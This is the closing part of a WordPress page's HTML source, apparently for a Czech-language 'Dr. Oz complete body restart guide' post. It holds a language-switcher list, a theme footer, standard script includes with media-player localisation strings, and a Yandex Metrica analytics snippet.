lang-item-fr"><a lang="fr-FR" hreflang="fr-FR" href="https://imagexinnovation.com/fr/dr-ozs-complete-body-restart-guide-2/">Français</a></li> <li class="lang-item lang-item-29 lang-item-pt no-translation"><a lang="pt-PT" hreflang="pt-PT" href="https://imagexinnovation.com/pt/">Português</a></li> <li class="lang-item lang-item-33 lang-item-it"><a lang="it-IT" hreflang="it-IT" href="https://imagexinnovation.com/it/dr-ozs-complete-body-restart-guide-3/">Italiano</a></li> <li class="lang-item lang-item-37 lang-item-ro"><a lang="ro-RO" hreflang="ro-RO" href="https://imagexinnovation.com/ro/dr-oz-s-complete-body-restart-guide-4/">Română</a></li> <li class="lang-item lang-item-41 lang-item-pl"><a lang="pl-PL" hreflang="pl-PL" href="https://imagexinnovation.com/pl/dr-oz-s-complete-body-restart-guide-5/">Polski</a></li> <li class="lang-item lang-item-43 lang-item-cs current-lang"><a lang="cs-CZ" hreflang="cs-CZ" href="https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/">Čeština</a></li> <li class="lang-item lang-item-45 lang-item-hu"><a lang="hu-HU" hreflang="hu-HU" href="https://imagexinnovation.com/hu/dr-oz-teljes-test-ujrainditasi-utmutatoja/">Magyar</a></li> <li class="lang-item lang-item-47 lang-item-fi"><a lang="fi" hreflang="fi" href="https://imagexinnovation.com/fi/dr-oz-on-taydellinen-elin-uudelleen-guide/">Suomi</a></li> <li class="lang-item lang-item-49 lang-item-ja"><a lang="ja" hreflang="ja" href="https://imagexinnovation.com/ja/ja54759/">日本語</a></li> <li class="lang-item lang-item-51 lang-item-ko"><a lang="ko-KR" hreflang="ko-KR" href="https://imagexinnovation.com/ko/ko54760/">한국어</a></li> </ul> </div> </div> </aside> </div> </div> </div> </div> </div> <footer id="silaslite-footer"> <div class="footer-copyright"> <div class="copyright">© 2020 AzuraTheme.</div> </div> </footer> </div> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/themes/silaslite/libs/fitvids/fitvids.js?ver=5.6.2' id='fitvids-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/themes/silaslite/libs/owl/owl.carousel.min.js?ver=5.6.2' id='owl-carousel-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/themes/silaslite/libs/chosen/chosen.js?ver=5.6.2' id='chosen-js'></script> <script type='text/javascript' id='mediaelement-core-js-before'> var mejsL10n = {"language":"cs","strings":{"mejs.download-file":"St\u00e1hnout soubor","mejs.install-flash":"Pou\u017e\u00edv\u00e1te prohl\u00ed\u017ee\u010d, kter\u00fd nem\u00e1 nainstalovan\u00fd nebo povolen\u00fd Flash Player. Zapn\u011bte Flash Player nebo si st\u00e1hn\u011bte nejnov\u011bj\u0161\u00ed verzi z adresy https:\/\/get.adobe.com\/flashplayer\/","mejs.fullscreen":"Cel\u00e1 obrazovka","mejs.play":"P\u0159ehr\u00e1t","mejs.pause":"Pozastavit","mejs.time-slider":"\u010casov\u00fd posuvn\u00edk","mejs.time-help-text":"Pou\u017eit\u00edm \u0161ipek vlevo\/vpravo se posunete o jednu sekundu, \u0161ipkami nahoru\/dol\u016f se posunete o deset sekund.","mejs.live-broadcast":"\u017div\u011b","mejs.volume-help-text":"Pou\u017eit\u00edm \u0161ipek nahoru\/dol\u016f zv\u00fd\u0161\u00edte nebo sn\u00ed\u017e\u00edte \u00farove\u0148 hlasitosti.","mejs.unmute":"Zapnout zvuk","mejs.mute":"Ztlumit","mejs.volume-slider":"Ovl\u00e1d\u00e1n\u00ed hlasitosti","mejs.video-player":"Video p\u0159ehr\u00e1va\u010d","mejs.audio-player":"Audio p\u0159ehr\u00e1va\u010d","mejs.captions-subtitles":"Titulky","mejs.captions-chapters":"Kapitoly","mejs.none":"\u017d\u00e1dn\u00e1","mejs.afrikaans":"Afrik\u00e1n\u0161tina","mejs.albanian":"Alb\u00e1n\u0161tina","mejs.arabic":"Arab\u0161tina","mejs.belarusian":"B\u011bloru\u0161tina","mejs.bulgarian":"Bulhar\u0161tina","mejs.catalan":"Katal\u00e1n\u0161tina","mejs.chinese":"\u010c\u00edn\u0161tina","mejs.chinese-simplified":"\u010c\u00edn\u0161tina (zjednodu\u0161en\u00e1)","mejs.chinese-traditional":"\u010c\u00edn\u0161tina (tradi\u010dn\u00ed)","mejs.croatian":"Chorvat\u0161tina","mejs.czech":"\u010ce\u0161tina","mejs.danish":"D\u00e1n\u0161tina","mejs.dutch":"Holand\u0161tina","mejs.english":"Angli\u010dtina","mejs.estonian":"Eston\u0161tina","mejs.filipino":"Filip\u00edn\u0161tina","mejs.finnish":"Dokon\u010dit","mejs.french":"Francou\u017e\u0161tina","mejs.galician":"Galicij\u0161tina","mejs.german":"N\u011bm\u010dina","mejs.greek":"\u0158e\u010dtina","mejs.haitian-creole":"Haitsk\u00e1 kreol\u0161tina","mejs.hebrew":"Hebrej\u0161tina","mejs.hindi":"Hind\u0161tina","mejs.hungarian":"Ma\u010far\u0161tina","mejs.icelandic":"Island\u0161tina","mejs.indonesian":"Indon\u00e9\u0161tina","mejs.irish":"Ir\u0161tina","mejs.italian":"Ital\u0161tina","mejs.japanese":"Japon\u0161tina","mejs.korean":"Korej\u0161tina","mejs.latvian":"Loty\u0161tina","mejs.lithuanian":"Litev\u0161tina","mejs.macedonian":"Makedon\u0161tina","mejs.malay":"Malaj\u0161tina","mejs.maltese":"Malt\u0161tina","mejs.norwegian":"Nor\u0161tina","mejs.persian":"Per\u0161tina","mejs.polish":"Pol\u0161tina","mejs.portuguese":"Portugal\u0161tina","mejs.romanian":"Rumun\u0161tina","mejs.russian":"Ru\u0161tina","mejs.serbian":"Srb\u0161tina","mejs.slovak":"Sloven\u0161tina","mejs.slovenian":"Slovin\u0161tina","mejs.spanish":"\u0160pan\u011bl\u0161tina","mejs.swahili":"Svahil\u0161tina","mejs.swedish":"\u0160v\u00e9d\u0161tina","mejs.tagalog":"Tagal\u0161tina","mejs.thai":"Thaj\u0161tina","mejs.turkish":"Ture\u010dtina","mejs.ukrainian":"Ukrajin\u0161tina","mejs.vietnamese":"Vietnam\u0161tina","mejs.welsh":"Vel\u0161tina","mejs.yiddish":"Jidi\u0161"}}; </script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.16' id='mediaelement-core-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=5.6.2' id='mediaelement-migrate-js'></script> <script type='text/javascript' id='mediaelement-js-extra'> /* <![CDATA[ */ var _wpmejsSettings = {"pluginPath":"\/wp-includes\/js\/mediaelement\/","classPrefix":"mejs-","stretching":"responsive"}; /* ]]> */ </script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/mediaelement/wp-mediaelement.min.js?ver=5.6.2' id='wp-mediaelement-js'></script> <script type='text/javascript' id='silaslite-scripts-js-extra'> /* <![CDATA[ */ var Silaslite = {"ajaxurl":"https:\/\/imagexinnovation.com\/wp-admin\/admin-ajax.php"}; /* ]]> */ </script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/themes/silaslite/assets/js/silaslite-scripts.js?ver=5.6.2' id='silaslite-scripts-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/comment-reply.min.js?ver=5.6.2' id='comment-reply-js'></script> <script type='text/javascript' id='q2w3_fixed_widget-js-extra'> /* <![CDATA[ */ var q2w3_sidebar_options = [{"sidebar":"sidebar","margin_top":10,"margin_bottom":0,"stop_id":"","screen_max_width":0,"screen_max_height":0,"width_inherit":false,"refresh_interval":1500,"window_load_hook":false,"disable_mo_api":false,"widgets":["custom_html-2"]}]; /* ]]> */ </script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/plugins/q2w3-fixed-widget/js/q2w3-fixed-widget.min.js?ver=5.2.0' id='q2w3_fixed_widget-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/wp-embed.min.js?ver=5.6.2' id='wp-embed-js'></script>  <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }} k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(98616215, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/98616215" style="position:absolute; left:-9999px;" alt="" /></div></noscript>  </body> </html>